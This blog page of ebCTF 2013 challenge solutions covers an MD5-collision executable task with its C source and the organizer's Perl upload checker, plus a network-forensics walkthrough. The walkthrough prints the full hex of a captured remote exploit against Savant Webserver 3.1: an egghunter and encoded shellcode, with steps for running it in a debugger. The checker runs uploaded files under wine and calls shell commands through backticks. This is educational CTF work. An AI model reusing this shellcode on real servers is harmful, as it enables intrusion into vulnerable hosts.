| \_ `. | | #| | | .--. | | | | | .--. | | | | | | | | #| | | | | | | | | | | | | | | | > > | | #| | | `--' | | | | | `--' | | | | _| | | | #| | '.____.' | | | '.____.' | | | /__.' | | #| | | | | | | | | | #| '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------'
Write ups
Write ups for this challenge from others can be found here:
- http://a-za-z0-9.net/ebctf-finals-2013-bin200/
- http://balidani.blogspot.hu/2013/08/ebctf-bin100-300-write-up.html
- http://nopsrus.blogspot.nl/2013/08/ebctf-bin200-200-points.html (great write up which shows how to use IDA to solve this challenge).
- http://maroueneboubakri.blogspot.fr/2013/08/ebctf-bin200-writeup.html
- https://cesena.ing2.unibo.it/2013/08/06/ebctf-no-comment-bin-200/
- http://welovecpteam.wordpress.com/2013/08/03/ebctf-bin200/
- http://www.slideshare.net/anthonylai1668/ebctf-2013-b200writeup
- http://vnrootkit.blogspot.nl/2013/08/enctf-2013-bin200.html
- https://docs.google.com/ (lots of screenshots)
- http://tasteless.se/2013/08/ebctf-2013-bin200-writeup/ (uses Python script)
- http://blog.dragonsector.pl/2013/08/ebctf-2013-bin100-bin300.html (uses Python script)
ebCTF -Â BIN400
Description
Please upload 5 Windows console executable files with the same MD5 but with different printed outputs (file type: MS Windows, PE32 executable, console)
The output for the files should be:
File1: All Eindbazen are wearing wooden shoes
File2: All Eindbazen live in a windmill
File3: All Eindbazen grow their own tulips
File4: All Eindbazen smoke weed all day
File5: All Eindbazen are cheap bastardsNOTE: The goal of this challenge is NOT to attack this webservice, this is NOT a WEB challenge.
Solution
The idea behind this challenge was to follow a similar approach as described in this article:
Thice.nl:Â Meaningful MD5 Collisions: Creating executables
Using the Perl script from that article we can generate the source code which we can then adjust to this challenge:
int main () { char output[2]; // Collision space holder 1 char collision1[] = "AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00"; // Collision check character space holder 1 char checkchar1[] = "\x01"; // Check if collision contains check character if (strchr(collision1,checkchar1[0])) { output[0] = '0'; } else { output[0] = '1'; } // Random (0-9a-zA-Z) buffer data char buffer1[] = "PtVLZelzDXB4CELbqAAKUxSbhygoFFr4wRKqGu74ldwUV51oDiMWeGQieSboRMuorynac7v6maaxLLb7rjPUTZEfz552JbHU9kMW0L8MaZkvZeMyibJRZNgGWkohQWaZiLa7FTOBS6AOTRDqd3G8vvHMwYaZiQ4WNZGPW90xWykuhvkCN1YrxG6q"; // Collision space holder 2 char collision2[] = "AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01"; // Collision check character space holder 2 char checkchar2[] = "\x02"; // Check if collision contains check character if (strchr(collision2,checkchar2[0])) { output[1] = '0'; } else { output[1] = '1'; } // Random (0-9a-zA-Z) buffer data char buffer2[] = "rvQubReroYFwRow4qEZUM8DacogPSExbmbSZqTu8fgcn0flvQEpkvqVZuuI9eQHc9WzudC3uSfaZeim06avoIcAjjB9w9D9pHyTmb3yobQWQCjtngDNImnPhUhDCzmJGQVVciHCRSEw1sHfpqItP4W68Rqbrb4CwgvsMOuwVFaWYKgLcBHIqHglh"; // Collision space holder 3 char collision3[] = "AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02"; // Collision check character space holder 3 char checkchar3[] = "\x03"; // Check if collision contains check character if (strchr(collision3,checkchar3[0])) { output[2] = '0'; } else { output[2] = '1'; } // Random (0-9a-zA-Z) buffer data char buffer3[] = "nJYPppqw9MVUTi1h8J7ma4omBwbrxza7e0UouXyMkCT19JxjATjx6MdvHJxEzuO92AzeVUxKM60U43vOISUtjDzhlghFjhfZpJlwfnp0i2UyF4jSPuitj6jlsfHlvNYBtEjIsHGaWEV3AIrlHkrpmHOqi8K9hlspuyuryZdHLBjtdRQ9YBY6xk9f"; // Output something different for each outcome if (strstr(output,"000")) { printf("All Eindbazen are wearing wooden shoes\n"); } if (strstr(output,"001")) { printf("All Eindbazen live in a windmill\n"); } if (strstr(output,"010")) { printf("All Eindbazen grow their own tulips\n"); } if (strstr(output,"011")) { printf("All Eindbazen smoke weed all day\n"); } if (strstr(output,"100")) { printf("All Eindbazen are cheap bastards\n"); } char amount[] = "#####5#####"; return 0; }
When we compile this source code and then add the collisions with the Perl script we end up with 5 executables.
Output of the executables:
C:\>BIN300solution.exe.000 All Eindbazen are wearing wooden shoes C:\>BIN300solution.exe.001 All Eindbazen live in a windmill C:\>BIN300solution.exe.010 All Eindbazen grow their own tulips C:\>BIN300solution.exe.011 All Eindbazen smoke weed all day C:\>BIN300solution.exe.100 All Eindbazen are cheap bastards
MD5 sums:
C:\>md5deep64.exe * 52c10e387ab2e5274135984b6fc2cc4e C:\BIN300solution.exe.000 52c10e387ab2e5274135984b6fc2cc4e C:\BIN300solution.exe.001 52c10e387ab2e5274135984b6fc2cc4e C:\BIN300solution.exe.010 52c10e387ab2e5274135984b6fc2cc4e C:\BIN300solution.exe.011 52c10e387ab2e5274135984b6fc2cc4e C:\BIN300solution.exe.100
SHA1 sums:
c:\>sha1deep64.exe * a069f0dcca65c54e86a1dcd95a3edf497ed6074c c:\BIN300solution.exe.000 a119770c7065d1a8ae556a02a5764af0ba2df576 c:\BIN300solution.exe.001 527af4c6defaa15f4f3878960999af1db68ca72d c:\BIN300solution.exe.010 f3dc4967cb61c0fe7a26af94945cea04f6108be1 c:\BIN300solution.exe.011 dcfadef83d141321fde7c838da275242356024be c:\BIN300solution.exe.100
Source code
The solution files can be downloaded here:Â ebCTF_BIN300_solution.7z
The following script was used to check the different executables that got uploaded:
#!/usr/bin/perl -w use CGI; # Config my $tmpdir = "/tmp/tmp"; my $savedir = "/tmp/save"; $flag = "ebCTF{c2a153312d9b0887a0c58ccabdda9b0c}"; $line[1] = "All Eindbazen are wearing wooden shoes"; $line[2] = "All Eindbazen live in a windmill"; $line[3] = "All Eindbazen grow their own tulips"; $line[4] = "All Eindbazen smoke weed all day"; $line[5] = "All Eindbazen are cheap bastards"; my $query = new CGI; # print output header print $query->header ( ); htmlhead(); # tmpfilename names $filename = "file.".time().rand(); $CGI::POST_MAX = 1024 * 100; # maximum upload filesize is 10mb # Go through uploaded files and save them my $i; for ($i=1;$i<=5;$i++) { my $upload_filehandle = $query->upload("file".$i); open ( UPLOADFILE, ">$tmpdir/".$filename.".".$i ) or die "$!"; binmode UPLOADFILE; #print "<br>Done uploading file".$i."\n"; while ( <$upload_filehandle> ) { print UPLOADFILE; } close UPLOADFILE; if (-s $tmpdir."/".$filename.".".$i > 5000000) { fail(5); } } # MD5 checking $md5check1 = `md5sum $tmpdir/$filename.1 | cut -d " " -f 1`; for ($i=2;$i<=5;$i++) { $md5check2 = `md5sum $tmpdir/$filename.$i | cut -d " " -f 1`; if ($md5check1 ne $md5check2) { fail(1); } } print "<br>GOOD! All MD5sums are the same!\n"; # SHA1 checking $sha_1 = `sha1sum $tmpdir/$filename.1 | cut -d " " -f 1`; $sha_2 = `sha1sum $tmpdir/$filename.2 | cut -d " " -f 1`; # First check to make sure we do not calculate SHA1 on the same files if ($sha_1 eq $sha_2) { fail(2); } $sha_3 = `sha1sum $tmpdir/$filename.3 | cut -d " " -f 1`; $sha_4 = `sha1sum $tmpdir/$filename.4 | cut -d " " -f 1`; $sha_5 = `sha1sum $tmpdir/$filename.5 | cut -d " " -f 1`; # Checking all SHA1 hashes against eachother if ($sha_1 ne $sha_3 && $sha_1 ne $sha_4 && $sha_1 ne $sha_5 && $sha_2 ne $sha_3 && $sha_2 ne $sha_4 && $sha_1 ne $sha_5 && $sha_3 ne $sha_4 && $sha_3 ne $sha_5 && $sha_4 ne $sha_5 ) { print "<br>GOOD! All SHA1sums are different!\n"; # Checking if files are the right kind of files for ($i=1;$i<=5;$i++) { $filetype = `file $tmpdir/$filename.$i| cut -d ":" -f 2`; chomp($filetype); if ($filetype !~ "PE32 executable" || $filetype !~ "MS Windows" || $filetype !~ "(console)") { fail(6); } } # Checking each program 5 times to see if there is no random function for ($i=1;$i<=5;$i++) { $check1 = `HOME=/tmp/wine wine $tmpdir/$filename.$i`; for ($c=1;$c<=4;$c++) { $check2 = `HOME=/tmp/wine wine $tmpdir/$filename.$i`; if ($check1 ne $check2) { fail(3) } } $check1 =~ s/\r//ig; $check1 =~ s/\n//ig; # Check if programs give the correct output if ($check1 eq $line[$i]) { print "<br>GOOD! file".$i." gives the right output!\n"; } else { fail(4,$i); } } # If no FAIL, then flag :) flag(); } else { fail(2); } # Output failed attempt reasons sub fail { if ($_[0] == 1) { print "<br>FAIL! Your MD5sums do NOT match!<br>(They should!)\n"; } if ($_[0] == 2) { print "<br>FAIL! Your SHA1sums DO match!<br>(They should not!)\n"; } if ($_[0] == 3) { print "<br>FAIL! Your programs do not output the same each time!<br>(Do not use random functions!)\n"; } if ($_[0] == 4) { print "<br>FAIL! File".$_[1]." does not print the correct line!<br>It should have been: ".$line[$_[1]]."\n"; } if ($_[0] == 5) { print "<br>FAIL! The file you uploaded is way to large, please keep it under 5MB\n"; } if ($_[0] == 6) { print "<br>FAIL! The files should be Windows console executables!<br>(Linux file output should contain: MS Windows, PE32 executable, console\n"; } # Removing files `rm $tmpdir/$filename.1 $tmpdir/$filename.2 $tmpdir/$filename.3 $tmpdir/$filename.4 $tmpdir/$filename.5`; htmlfoot(); exit; } sub flag { # Output the flag print "<h1>Well Done! Here is your flag!<br>".$flag."</h1>"; htmlfoot(); # Save the solution print `tar -czf $tmpdir/archive_$filename.tar.gz $tmpdir/$filename.1 $tmpdir/$filename.2 $tmpdir/$filename.3 $tmpdir/$filename.4 $tmpdir/$filename.5`; } sub htmlhead { print '<!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8"> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js"> <!--<![endif]--> <head> <meta charset="utf-8"> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="description" content="ebCTF BIN400 MD5 colliding"> <link rel="stylesheet" href="/css/normalize.css"> <link rel="stylesheet" href="/css/main.css"> <title>ebCTF BIN400 MD5 colliding</title> </head> <body> <div id="gamewrapper"> <div id="gameheader"> <center><img src="/logosmall.png" width="400" height="128"/></center> <h2>ebCTF BIN400 MD5 colliding</h2>'; } sub htmlfoot { print ' </div> </div> </body> </html>'; }
Write ups
Write ups for this challenge from others can be found here:
- https://stratum0.org/blog/posts/2013/08/10/ebctf2013-md5-colliding/
- http://security.cs.pub.ro/hexcellents/wiki/writeups/md5collision
ebCTF -Â NET400
Description
The Eindbazen ‘Forensic Unit Computer Knowledge & Advanced Persistent Threats’ and the ‘Special Unit Cracking Kiddies Investigations Team’ are currently investigating a new Scriptkiddie Group working under the name of ‘The Figuurzagers’. This team is suspected of hacking various crappy protected environments to place flags on these systems. The NFI provided us with a network tap of one of the attacks. Could you recover the flag for us?
Note: The file is in TIIT format
Encryption key: hashlib.sha256(“OHM2013 X Y!”).digest()[0:24] where X and Y represent lowercase English words that start with an r
Target Identifier: md5(eindbazen)
Provider Identifier: 51040
Hint: Remember, the first PDU will be “HI2: Start Session”
I wrote the scenario and the last part of the NET400 challenge, which was further created by the Dutch Forensic Institute (NFI). For the first part of the challenge I have to point you to the excellent write up at the end of this part. The second part of the challenge was to analyze the PCAPÂ file, the cleartext PCAPÂ file can be found here.
Looking at the PCAP we can see that a request is done in tcp.stream 1, which contained a pretty big hint what it was.
The Savant Webserver version 3.1 seems to be vulnerable to a remote exploit, as can be seen on Exploit-DB. We can find the exploit code in tcp.stream 8:
The exploit code is visible, with the first part of the code being an egghunter, and the egg for the egghunter being HawkHawk. The full exploit code in Hex & Ascii:
00000000 7f 7f 20 2f 90 90 90 90 90 90 90 90 90 90 90 90 .. /.... ........ 00000010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........ 00000020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........ 00000030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........ 00000040 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........ 00000050 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........ 00000060 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........ 00000070 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 89 ........ ........ 00000080 e0 db d8 d9 70 f4 5f 57 59 49 49 49 49 49 49 49 ....p._W YIIIIIII 00000090 49 49 49 43 43 43 43 43 43 37 51 5a 6a 41 58 50 IIICCCCC C7QZjAXP 000000A0 30 41 30 41 6b 41 41 51 32 41 42 32 42 42 30 42 0A0AkAAQ 2AB2BB0B 000000B0 42 41 42 58 50 38 41 42 75 4a 49 51 76 6e 61 49 BABXP8AB uJIQvnaI 000000C0 5a 6b 4f 56 6f 77 32 42 72 61 7a 34 42 31 48 4a ZkOVow2B raz4B1HJ 000000D0 6d 34 6e 67 4c 76 65 33 6a 72 54 58 6f 4d 68 31 m4ngLve3 jrTXoMh1 000000E0 58 70 61 63 47 42 4b 4e 6b 78 7a 6c 6f 72 55 4b XpacGBKN kxzlorUK 000000F0 5a 6c 6f 42 55 38 67 59 6f 58 67 41 41 42 42 42 ZloBU8gY oXgAABBB 00000100 42 d8 87 41 00 0d 0a 0d 0a 48 61 77 6b 48 61 77 B..A.... .HawkHaw 00000110 6b 89 e2 d9 e1 d9 72 f4 58 50 59 49 49 49 49 49 k.....r. XPYIIIII 00000120 49 49 49 49 49 43 43 43 43 43 43 37 51 5a 6a 41 IIIIICCC CCC7QZjA 00000130 58 50 30 41 30 41 6b 41 41 51 32 41 42 32 42 42 XP0A0AkA AQ2AB2BB 00000140 30 42 42 41 42 58 50 38 41 42 75 4a 49 78 59 7a 0BBABXP8 ABuJIxYz 00000150 4b 4d 4b 59 49 63 44 34 64 49 64 65 61 58 52 58 KMKYIcD4 dIdeaXRX 00000160 32 72 57 50 31 68 49 31 74 4e 6b 50 71 54 70 6e 2rWP1hI1 tNkPqTpn 00000170 6b 44 36 36 6c 6c 4b 33 46 47 6c 4c 4b 31 56 66 kD66llK3 FGlLK1Vf 00000180 68 6e 6b 73 4e 45 70 4e 6b 55 66 50 38 50 4f 56 hnksNEpN kUfP8POV 00000190 78 73 45 69 63 32 79 53 31 5a 71 39 6f 39 71 73 xsEic2yS 1Zq9o9qs 000001A0 50 4e 6b 50 6c 55 74 54 64 4e 6b 72 65 55 6c 6e PNkPlUtT dNkreUln 000001B0 6b 42 74 36 48 31 68 75 51 7a 4a 6e 6b 33 7a 35 kBt6H1hu QzJnk3z5 000001C0 48 4c 4b 31 4a 65 70 35 51 48 6b 79 73 70 34 30 HLK1Jep5 QHkysp40 000001D0 49 6c 4b 57 44 6c 4b 45 51 78 6e 66 51 6b 4f 46 IlKWDlKE QxnfQkOF 000001E0 51 69 50 59 6c 6c 6c 4c 44 69 50 32 54 36 67 4a QiPYlllL DiP2T6gJ 000001F0 61 68 4f 34 4d 66 61 39 57 78 6b 79 64 35 6b 51 ahO4Mfa9 Wxkyd5kQ 00000200 6c 54 64 66 48 52 55 69 71 4c 4b 31 4a 54 64 43 lTdfHRUi qLK1JTdC 00000210 31 78 6b 42 46 4e 6b 74 4c 72 6b 6c 4b 50 5a 37 1xkBFNkt LrklKPZ7 00000220 6c 65 51 38 6b 4c 4b 33 34 6e 6b 46 61 4d 38 4b leQ8kLK3 4nkFaM8K 00000230 39 73 74 46 44 75 4c 73 51 4a 63 38 32 76 68 55 9stFDuLs QJc82vhU 00000240 79 4e 34 4e 69 4b 55 4b 39 48 42 55 38 6c 4e 52 yN4NiKUK 9HBU8lNR 00000250 6e 76 6e 68 6c 51 42 6d 38 4d 4f 6b 4f 69 6f 6b nvnhlQBm 8MOkOiok 00000260 4f 4c 49 73 75 74 44 4d 6b 63 4e 58 58 48 62 62 OLIsutDM kcNXXHbb 00000270 53 6d 57 67 6c 31 34 32 72 38 68 4c 4e 69 6f 79 SmWgl142 r8hLNioy 00000280 6f 59 6f 6d 59 37 35 73 38 73 58 50 6c 42 4c 35 oYomY75s 8sXPlBL5 00000290 70 37 31 62 48 55 63 70 32 34 6e 33 54 73 58 31 p71bHUcp 24n3TsX1 000002A0 65 33 43 42 45 50 72 6b 38 63 6c 65 74 64 4a 4f e3CBEPrk 8cletdJO 000002B0 79 58 66 32 76 79 6f 72 75 34 44 4b 39 49 52 30 yXf2vyor u4DK9IR0 000002C0 50 4f 4b 39 38 6f 52 32 6d 6d 6c 6c 47 37 6c 66 POK98oR2 mmllG7lf 000002D0 44 73 62 48 68 61 71 39 6f 59 6f 4b 4f 31 78 55 DsbHhaq9 oYoKO1xU 000002E0 6a 66 4d 62 64 66 38 71 78 34 70 36 50 45 71 55 jfMbdf8q x4p6PEqU 000002F0 70 71 78 50 4e 73 75 51 44 54 74 33 58 55 39 62 pqxPNsuQ DTt3XU9b 00000300 4e 65 37 37 50 65 38 42 53 50 6f 72 4c 53 46 70 Ne77Pe8B SPorLSFp 00000310 68 51 30 42 4f 32 4e 71 30 70 68 63 42 55 31 43 hQ0BO2Nq 0phcBU1C 00000320 44 63 43 50 68 63 73 52 4f 50 6e 70 67 46 51 6b DcCPhcsR OPnpgFQk 00000330 6b 6b 38 71 4c 66 44 47 6f 6f 79 48 63 62 48 45 kk8qLfDG ooyHcbHE 00000340 36 56 58 71 6d 31 48 32 48 76 57 63 55 50 31 64 6VXqm1H2 HvWcUP1d 00000350 70 62 48 70 66 34 75 50 34 30 37 45 38 54 74 47 pbHpf4uP 407E8TtG 00000360 47 46 53 70 65 62 48 46 59 65 69 45 62 74 79 63 GFSpebHF YeiEbtyc 00000370 58 56 56 30 39 66 57 70 30 30 68 67 45 45 69 71 XVV09fWp 00hgEEiq 00000380 73 35 69 71 78 46 53 50 31 30 66 70 37 42 48 77 s5iqxFSP 10fp7BHw 00000390 36 31 6b 76 59 72 45 33 58 65 35 35 32 62 63 31 61kvYrE3 Xe552bc1 000003A0 44 75 38 63 51 62 47 65 6a 75 70 45 38 55 35 67 Du8cQbGe jupE8U5g 000003B0 50 70 66 62 4c 61 78 61 63 47 50 32 54 75 38 43 PpfbLaxa cGP2Tu8C 000003C0 58 34 32 73 55 51 30 33 59 35 38 51 31 65 70 57 X42sUQ03 Y58Q1epW 000003D0 38 43 55 50 68 37 50 50 6a 52 4f 32 42 33 58 72 8CUPh7PP jRO2B3Xr 000003E0 6e 61 79 50 63 52 45 70 31 79 59 6b 38 70 4c 61 nayPcREp 1yYk8pLa 000003F0 34 73 73 4f 79 58 61 45 61 48 52 63 5a 43 70 73 4ssOyXaE aHRcZCps 00000400 63 56 31 43 62 6b 4f 5a 70 66 51 6b 70 66 30 59 cV1CbkOZ pfQkpf0Y 00000410 6f 53 65 36 68 41 41 oSe6hAA
This exploit code could be analyzed by replaying it against the vulnerable software, static analysis or by loading the shellcode in to OllyDbg:
To load the shellcode (only the part after the egg, HawkHawk) in OllyDbg we load a random binary (in this case notepad.exe) in it, copy the shellcode in our buffer (in Hex values) select a bunch of lines and then right mouse click and select “Edit–>Binary Paste”. The result will look like this:
If we select the first line and set the “New origin here” (right mouse menu) the shellcode will be ready for execution. Dont forget to set the memory access to full if you run in to errors (Memory Map (Alt-M), select memory segment, right mouse clock, set access–>full), this happens when memory protection is on.
If the shellcode executes correctly you will end up with the following pop-up:
Write ups
Write ups for this challenge from others can be found here:
Leave a Reply